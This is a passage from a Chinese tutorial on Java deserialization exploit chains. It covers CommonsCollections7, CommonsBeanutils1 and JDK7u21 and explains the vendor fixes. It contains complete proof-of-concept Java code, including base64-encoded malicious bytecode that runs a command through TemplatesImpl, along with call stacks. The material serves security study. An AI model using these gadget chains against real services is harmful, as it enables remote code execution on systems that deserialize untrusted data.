                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
        };
        Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        Map outerMap1 = LazyMap.decorate(innerMap1, transformerChain);
        Map outerMap2 = LazyMap.decorate(innerMap2, transformerChain);
        outerMap1.put("Aa", null);
        outerMap2.put("BB", null);

        Hashtable hashtable = new Hashtable();
        hashtable.put(outerMap1, 1);
        hashtable.put(outerMap2, 1);

        outerMap2.remove("Aa");
        setFieldValue(transformerChain, "iTransformers", transformers);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(hashtable);

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }

    public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object, value);
    }
}

调用栈如下:

transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:158, LazyMap (org.apache.commons.collections.map)
equals:472, AbstractMap (java.util)
equals:130, AbstractMapDecorator (org.apache.commons.collections.map)
reconstitutionPut:1221, Hashtable (java.util)
readObject:1195, Hashtable (java.util)
...
main:49, CommonsCollections7 (com.example)

由于 Hashtable#put 也会调用 entry.key.equals 方法导致利用链被触发一次,因此需要将调用 LazyMap#get 时加入的 key 去掉。

    public synchronized V put(K key, V value) {
        // Make sure the value is not null
        if (value == null) {
            throw new NullPointerException();
        }

        // Makes sure the key is not already in the hashtable.
        Entry<?,?> tab[] = table;
        int hash = key.hashCode();
        int index = (hash & 0x7FFFFFFF) % tab.length;
        @SuppressWarnings("unchecked")
        Entry<K,V> entry = (Entry<K,V>)tab[index];
        for(; entry != null ; entry = entry.next) {
            if ((entry.hash == hash) && entry.key.equals(key)) {
                V old = entry.value;
                entry.value = value;
                return old;
            }
        }

        addEntry(hash, key, value, index);
        return null;
    }

另外 Hashtable#put 调用的 entry.key.equals 需要返回 false 才能把第二个键值对放入 Hashtable。在 AbstraceMap#equals 中,如果 valuenull 的话只需要让 m.get(key) 返回不为 null 即可。而 transformer 方法返回不为 null 很容易满足。

    Entry<K,V> e = i.next();
    K key = e.getKey();
    V value = e.getValue();
    if (value == null) {
        if (!(m.get(key)==null && m.containsKey(key)))
            return false;
    } else {
        if (!value.equals(m.get(key)))
            return false;
    }

修复情况

Apache Commons Collections 官方在 2015 年底得知序列化相关的问题后,就在两个分支上同时发布了新的版本 4.1 和 3.2.2。

3.2.2 版代码中增加了一个方法 FunctorUtils#checkUnsafeSerialization,用于检测反序列化是否安全。如果开发者没有设置全局配置 org.apache.commons.collections.enableUnsafeSerialization=true,即默认情况下会抛出异常。

这个检查在常见的危险 Transformer 类(InstantiateTransformerInvokerTransformerPrototypeFactoryCloneTransformer 等)的 readObject 里进行调用。所以,当我们反序列化包含这些对象时就会抛出一个异常:

Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.

在 4.1 版本,这几个危险 Transformer 类不再实现 Serializable 接口,也就是说,他们几个彻底无法序列化和反序列化了。

CommonsCollections Gadget ChainsCommonsCollection VersionJDK VersionNote
CommonsCollections1CommonsCollections 3.1 - 3.2.11.7 (8u71之后已修复不可利用)
CommonsCollections2CommonsCollections 4.0暂无限制javassist
CommonsCollections3CommonsCollections 3.1 - 3.2.11.7 (8u71之后已修复不可利用)javassist
CommonsCollections4CommonsCollections 4.0暂无限制javassist
CommonsCollections5CommonsCollections 3.1 - 3.2.11.8 8u76(实测8u181也可)
CommonsCollections6CommonsCollections 3.1 - 3.2.1暂无限制
CommonsCollections7CommonsCollections 3.1 - 3.2.1暂无限制

CommonsBeanutils

CommonsBeanutils 概述

Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为 JavaBean)的一些操作方法。

<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.8.3</version>
</dependency>

commons-beanutils 中提供了一个静态方法 PropertyUtils.getProperty,让使用者可以直接调用任意 JavaBean 的 getter 方法。例如下面这段代码:

import org.apache.commons.beanutils.PropertyUtils;

public class Example {
    public static void main(String[] args) throws Exception {
        Bean bean = new Bean();
        PropertyUtils.setProperty(bean, "name", "Alice");
        String name = (String) PropertyUtils.getProperty(bean, "name");
        System.out.println("Name: " + name);
    }
}

class Bean {
    private String name;

    public String getName() { return name; }
    public void setName(String name) { this.name = name; }
}

在执行 PropertyUtils.getProperty(bean, "name") 时,commons-beanutils 会自动找到 name 属性的 getter 方法,也就是 getName,然后调用,获得返回值。

除此之外, PropertyUtils.getProperty 还支持递归获取属性,比如 a 对象中有属性 bb 对象中有属性 c,我们可以通过 PropertyUtils.getProperty(a, "b.c"); 的方式进行递归获取。

通过这个方法,使用者可以很方便地调用任意对象的 getter,适用于在不确定 JavaBean 是哪个类对象时使用。

当然,commons-beanutils 中诸如此类的辅助方法还有很多,如调用 setter、拷贝属性等,这里不再细说。

CommonsBeanutils1

commons-beanutils 的 org.apache.commons.beanutils.BeanComparator 实现了 java.util 接口,它的 compare 方法会对待比较对象调用 PropertyUtils.getProperty 方法获取 property 属性。而 TemplatesImpl#getOutputProperties 可以触发字节码加载。

    public int compare( Object o1, Object o2 ) {
        
        if ( property == null ) {
            // compare the actual objects
            return comparator.compare( o1, o2 );
        }
        
        try {
            Object value1 = PropertyUtils.getProperty( o1, property );
            Object value2 = PropertyUtils.getProperty( o2, property );
            return comparator.compare( value1, value2 );
        }
        catch ( IllegalAccessException iae ) {
            throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
        } 
        catch ( InvocationTargetException ite ) {
            throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
        }
        catch ( NoSuchMethodException nsme ) {
            throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
        } 
    }

因此我们可以借鉴 CC2 的思路在 PriorityQueue 中放两个 TemplatesImpl 并且设置 BeanComparatorPriorityQueue 的比较方式。此时如果我们设置 BeanComparatorproperty 属性为 outputProperties 则在反序列化触发 BeanComparator#compare 时会通过 PropertyUtils.getProperty 调用到 TemplatesImpl#getOutputProperties 进而实现任意字节码加载。

poc 如下:

package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class CommonsBeanutils1 {
    public static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQAxTGNvbS9leGFtcGxlL1Rlc3RUcmFuc2Zvcm1lciRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAUVGVzdFRyYW5zZm9ybWVyLmphdmEMAAoACwcAKAEAL2NvbS9leGFtcGxlL1Rlc3RUcmFuc2Zvcm1lciRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAbY29tL2V4YW1wbGUvVGVzdFRyYW5zZm9ybWVyAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAEY2FsYwgAMAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMADIAMwoAKwA0AQANU3RhY2tNYXBUYWJsZQEAHnlzb3NlcmlhbC9Qd25lcjU0MDQzOTYxNzA2NjcwMAEAIEx5c29zZXJpYWwvUHduZXI1NDA0Mzk2MTcwNjY3MDA7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAHAAOAAAADAABAAAABQAPADgAAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAAIgAOAAAAIAADAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAJwAOAAAAKgAEAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAAJAADAAIAAAAPpwADAUy4AC8SMbYANVexAAAAAQA2AAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJ");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(queue);

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }

    private static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

调用栈如下:

defineClass:142, TemplatesImpl$TransletClassLoader (com.sun.org.apache.xalan.internal.xsltc.trax)
defineTransletClasses:346, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getTransletInstance:383, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:418, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:439, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
...
getProperty:426, PropertyUtils (org.apache.commons.beanutils)
compare:157, BeanComparator (org.apache.commons.beanutils)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
...
main:38, CommonsBeanutils1 (com.example)

这里需要注意 BeanComparator 的构造方法有两个,如果没有指定 Comparator 默认会使用 org.apache.commons.collections.comparators.ComparableComparator。这样改利用链会依赖于 commons-collections 库。

    public BeanComparator( String property ) {
        this( property, ComparableComparator.getInstance() );
    }

    public BeanComparator( String property, Comparator comparator ) {
        setProperty( property );
        if (comparator != null) {
            this.comparator = comparator;
        } else {
            this.comparator = ComparableComparator.getInstance();
        }
    }

为了避免这种依赖关系从而提高利用链的通用性,我们需要找到一个类来替换 ComparableComparator,它需要满足下面这几个条件:

  • 实现 java.util.Comparator 接口
  • 实现 java.io.Serializable 接口
  • Java、shiro 或 commons-beanutils 自带,且兼容性强。

实际上有很多类都满足这个条件,这里我选择的是 CaseInsensitiveComparator,可以通过 String.CASE_INSENSITIVE_ORDER 获取。

原生反序列化利用链

主要是一些不依赖第三方库的 Java 反序列化利用链。

JDK7u21

AnnotationInvocationHandler 类中的 equalsImpl 方法在参数 Object o 不是 AnnotationInvocationHandler 的实现类代理的对象时会获取 AnnotationInvocationHandler#type 中的所有方法,然后依次调用 o 中的这些方法。

    private AnnotationInvocationHandler asOneOfUs(Object o) {
        if (Proxy.isProxyClass(o.getClass())) {
            InvocationHandler handler = Proxy.getInvocationHandler(o);
            if (handler instanceof AnnotationInvocationHandler)
                return (AnnotationInvocationHandler) handler;
        }
        return null;
    }

    private Method[] getMemberMethods() {
        if (memberMethods == null) {
            memberMethods = AccessController.doPrivileged(
                new PrivilegedAction<Method[]>() {
                    public Method[] run() {
                        final Method[] mm = type.getDeclaredMethods();
                        validateAnnotationMethods(mm);
                        AccessibleObject.setAccessible(mm, true);
                        return mm;
                    }
                });
        }
        return memberMethods;
    }
    private transient volatile Method[] memberMethods = null;

    private Boolean equalsImpl(Object o) {
        if (o == this)
            return true;

        if (!type.isInstance(o))
            return false;
        for (Method memberMethod : getMemberMethods()) {
            String member = memberMethod.getName();
            Object ourValue = memberValues.get(member);
            Object hisValue = null;
            AnnotationInvocationHandler hisHandler = asOneOfUs(o);
            if (hisHandler != null) {
                hisValue = hisHandler.memberValues.get(member);
            } else {
                try {
                    hisValue = memberMethod.invoke(o); // 调用 o 的所有方法
                } catch (InvocationTargetException e) {
                    return false;
                } catch (IllegalAccessException e) {
                    throw new AssertionError(e);
                }
            }
            if (!memberValueEquals(ourValue, hisValue))
                return false;
        }
        return true;
    }

因此我们不难想到如果构造一个 AnnotationInvocationHandler 使得其 typeTemplates.class 然后将 TemplatesImpl 对象传入便会调用它的 getOutputProperties 方法实现恶意字节码加载。

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        ...
        this.type = type;
        this.memberValues = memberValues;
    }

equalsImpl 方法可以通过 AnnotationInvocationHandler#invoke 方法调用。也就是说如果我们使用 AnnotationInvocationHandler#invoke 代理一个类,然后调用这个类的 equals 方法就可以触发 AnnotationInvocationHandler#equalsImpl 方法调用,且传入的参数是 equals 的参数。

    public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        Class<?>[] paramTypes = method.getParameterTypes();

        // Handle Object and Annotation methods
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        ...
    }

HashSet 内部实际上是通过 HashMap 来实现的,我们存入 HashSet 中的数据实际上是存入内部成员 private transient HashMap<E,Object> map; 的键中,而对应的值设为一个 Object 类型的对象来占位(真够懒的)。因此在 HashSet#readObject 函数中我们会把 HashSet 存储的元素逐个加到 HashMap 中。

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in any hidden serialization magic
        s.defaultReadObject();

        // Read in HashMap capacity and load factor and create backing HashMap
        int capacity = s.readInt();
        float loadFactor = s.readFloat();
        map = (((HashSet)this) instanceof LinkedHashSet ?
               new LinkedHashMap<E,Object>(capacity, loadFactor) :
               new HashMap<E,Object>(capacity, loadFactor));

        // Read in size
        int size = s.readInt();

        // Read in all elements in the proper order.
        for (int i=0; i<size; i++) {
            E e = (E) s.readObject();
            map.put(e, PRESENT);
        }
    }

HashMap 中会计算哈希值找到对应的桶然后逐个比较去重,最后放到 HashMap 中。这里涉及到了 equals 方法的调用。

    final int hash(Object k) {
        int h = 0;
        
        ...
        
        h ^= k.hashCode();

        // This function ensures that hashCodes that differ only by
        // constant multiples at each bit position have a bounded
        // number of collisions (approximately 8 at default load factor).
        h ^= (h >>> 20) ^ (h >>> 12);
        return h ^ (h >>> 7) ^ (h >>> 4);
    }

	public V put(K key, V value) {
        if (key == null)
            return putForNullKey(value);
        int hash = hash(key);
        int i = indexFor(hash, table.length);
        for (Entry<K,V> e = table[i]; e != null; e = e.next) {
            Object k;
            if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
                V oldValue = e.value;
                e.value = value;
                e.recordAccess(this);
                return oldValue;
            }
        }

        modCount++;
        addEntry(hash, key, value, i);
        return null;
    }

因此如果我们在 HashSet 中放一个 TemplatesImpl 对象再放一个 AnnotationInvocationHandler 代理的对象,并且恰巧这两个对象的哈希值相等且 AnnotationInvocationHandler 代理的对象是后加入的,那么调用 equals 方法就会触发前面介绍的利用链。

所以现在的问题是如何构造一个 AnnotationInvocationHandler 代理的对象使得其哈希值与 TemplatesImpl 对象相等。

由于 TemplatesImpl 没有显式实现 hashCode() 方法,因此它将继承自 java.lang.Object 类中的默认实现。在这种情况下,调用 hashCode() 方法返回的是该对象的内存地址经过哈希计算后得到的一个整数值。也就是说这个哈希值我们不可控制。

但是我们可以想办法构造一个 AnnotationInvocationHandler 代理的对象使得它的哈希值总是与 TemplatesImpl 对象的哈希值相等。

AnnotationInvocationHandler 代理的对象的 hashCode 方法实际上调用的是 AnnotationInvocationHandler#invoke 进而会调用到 AnnotationInvocationHandler#hashCodeImpl

这个方法会遍历 memberValues 这个 Map 中的每个 keyvalue,计算每个 (127 * key.hashCode()) ^ value.hashCode() 并求和。因此我们只要让 value同一个 TemplatesImplkey 的哈希值为 0 即可。

    private int hashCodeImpl() {
        int result = 0;
        for (Map.Entry<String, Object> e : memberValues.entrySet()) {
            result += (127 * e.getKey().hashCode()) ^
                memberValueHashCode(e.getValue());
        }
        return result;
    }

网上通常的做法是枚举十六进制数字对应的字符串,最终得到 f5a5a608 这个字符串。但实际上根据字符串的哈希计算方式很容易就构造出 \0 这一字符串。

poc 如下:

package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.*;
import sun.misc.BASE64Decoder;

public class JDK7u21 {
    public static void main(String[] args) throws Exception {
        byte[] code = new BASE64Decoder().decodeBuffer("yv66vgAAADMANgoACQAlCgAmACcIACgKACYAKQcAKgcAKwoABgAsBwAtBwAuAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACBMY29tL2V4YW1wbGUvSGVsbG9UZW1wbGF0ZXNJbXBsOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAvAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwAqAQAKU291cmNlRmlsZQEAF0hlbGxvVGVtcGxhdGVzSW1wbC5qYXZhDAAKAAsHADAMADEAMgEABGNhbGMMADMANAEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwACgA1AQAeY29tL2V4YW1wbGUvSGVsbG9UZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAALAA4AAAAMAAEAAAAFAA8AEAAAAAEAEQASAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAXAA4AAAAgAAMAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAFQAWAAIAFwAAAAQAAQAYAAEAEQAZAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAcAA4AAAAqAAQAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAGgAbAAIAAAABABwAHQADABcAAAAEAAEAGAAIAB4ACwABAAwAAABmAAMAAQAAABe4AAISA7YABFenAA1LuwAGWSq3AAe/sQABAAAACQAMAAUAAwANAAAAFgAFAAAADgAJABEADAAPAA0AEAAWABIADgAAAAwAAQANAAkAHwAgAAAAIQAAAAcAAkwHACIJAAEAIwAAAAIAJA==");

        Templates templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{code});
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        Map map = new HashMap();
        map.put("\0", "sky123");

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct =  clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Templates.class, map);

        Serializable proxy = (Serializable) Proxy.newProxyInstance(Serializable.class.getClassLoader(), new Class[]{Serializable.class}, handler);

        HashSet set = new HashSet();
        set.add(templates);
        set.add(proxy);

        map.put("\0", templates);
        System.out.println(proxy.hashCode());
        System.out.println(templates.hashCode());

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(set);

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

调用栈如下:

defineClass:136, TemplatesImpl$TransletClassLoader (com.sun.org.apache.xalan.internal.xsltc.trax)
defineTransletClasses:339, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getTransletInstance:376, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:410, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:431, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
...
invoke:601, Method (java.lang.reflect)
equalsImpl:197, AnnotationInvocationHandler (sun.reflect.annotation)
invoke:59, AnnotationInvocationHandler (sun.reflect.annotation)
equals:-1, $Proxy1 (com.sun.proxy)
put:475, HashMap (java.util)
readObject:309, HashSet (java.util)
...
main:48, JDK7u21 (com.example)

https://hg.openjdk.org/jdk7u/jdk7u/jdk/rev/0ca6cbe3f350

--- a/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java Fri Mar 22 15:40:16 2013 -0400
+++ b/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java Mon Mar 25 12:41:55 2013 +0400
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2003, 2011, Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2003, 2013, Oracle and/or its affiliates. All rights reserved.
  * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
  *
  * This code is free software; you can redistribute it and/or modify it
@@ -337,12 +337,15 @@
         try {
             annotationType = AnnotationType.getInstance(type);
         } catch(IllegalArgumentException e) {
-            // Class is no longer an annotation type; all bets are off
-            return;
+            // Class is no longer an annotation type; time to punch out
+            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
         }

         Map<String, Class<?>> memberTypes = annotationType.memberTypes();

+
+        // If there are annotation members without values, that
+        // situation is handled by the invoke method.
         for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
             String name = memberValue.getKey();
             Class<?> memberType = memberTypes.get(name);

文章来源:https://blog.csdn.net/qq_45323960/article/details/141652735
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:jacktools123@163.com进行投诉反馈,一经查实,立即删除!

标签:

相关文章

本站推荐

标签云